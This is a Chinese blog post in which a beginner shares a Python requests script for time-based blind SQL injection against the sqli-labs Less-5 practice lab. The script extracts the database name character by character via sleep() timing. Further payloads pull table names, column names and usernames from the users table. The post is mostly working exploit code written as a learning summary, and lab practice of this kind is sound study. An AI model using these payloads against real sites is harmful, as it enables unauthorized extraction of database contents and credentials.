python sql延时注入脚本(从数据库名到字段)

我是萌新pwp,下面是我学了requests库 和 延时注入自己做的一个总结,如有错误,还请海涵Orz

首先是爆库

import requests                                  //最关键的requests库,可以好好了解一下
import time                                       //这个也是必要的
chars=',abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'//爆破
database=''                                                //把结果加到这个变量里
global length                                                

for l in range(1,20):                        //这里有时候range 要大些,因为用了group_concat把结果都放在一行了,可能使长度很大
    url ='http://192.168.1.100/sqli-labs-master/Less-5/' //url自己根据情况改
    close="?id=1'"                                       //闭合方式
    payload1=' and if(length(database())=%s,sleep(2),0) --+' %l       //最关键的地方,和其他注入方法的payload 差不多,只是用了延时的手法
    start_time=time.time()
    r=requests.get(url+close+payload1)
    end_time=time.time()
    sec=end_time-start_time                //算出get请求和sleep后所用的时间
    if  sec >=2:                           //时间符号条件就print并退出
        print('database length is '+str(l))
        global length
        length =l;
        break
    else:
        pass
for i in range (1,length+1):
    for char in chars:
        payload2="and if(substr(database(),%d,1)='%s',sleep(2),1) --+" %(i,char)//substr取每位爆破
        start_time2=time.time()
        r2=requests.get(url+close+payload2)
        end_time2=time.time()
        sec2=(end_time2-start_time2)//也是一样,符合条件就输出
        if sec2 >=2:
            database+=char
            print(database)
            break
print('database_name:',database)

如果没有过滤可以直接得到数据库名

如果要得到表名,脚本和上面差不多,url和close都一样,只需要改一下payload和一些变量名称

爆破的手法是:爆破长度,爆破名称

爆破表长的payload:

payload="and if(length((select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1))=%s,sleep(3),1) --+" %l

爆破表名的payload:

payload = " and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1),%s,1)) = %s,sleep(3),1) --+" %(j,charAscii)

//爆破名字的时候建议套上ascii()函数,这样不容易出错pwp

爆破列长的payload:


 

payload=" and if(length((select group_concat(column_name) from information_schema.columns where table_name = 'users' ))=%s,sleep(3),1) --+" %l

爆破列名的payload:

payload2 = " and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'users' limit 0,1),%s,1)) = %s,sleep(3),1) --+" %(j,charAscii)

字段

爆破字段长的payload:

payload=" and if(length((select group_concat(username) from users ))=%s,sleep(3),1) --+" %l

爆破字段名的payload:

payload=" and if(ascii(substr((SeLeCt group_concat(username) from users ),%s,1)) = %s,sleep(3),1) --+" %(j,charAscii)

这里写的payload是在完全没有过滤的情况下才可以运行的。

运行环境:PyCharm Community Edition 2021.3.1

希望对各位有帮助

 

  • 4
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值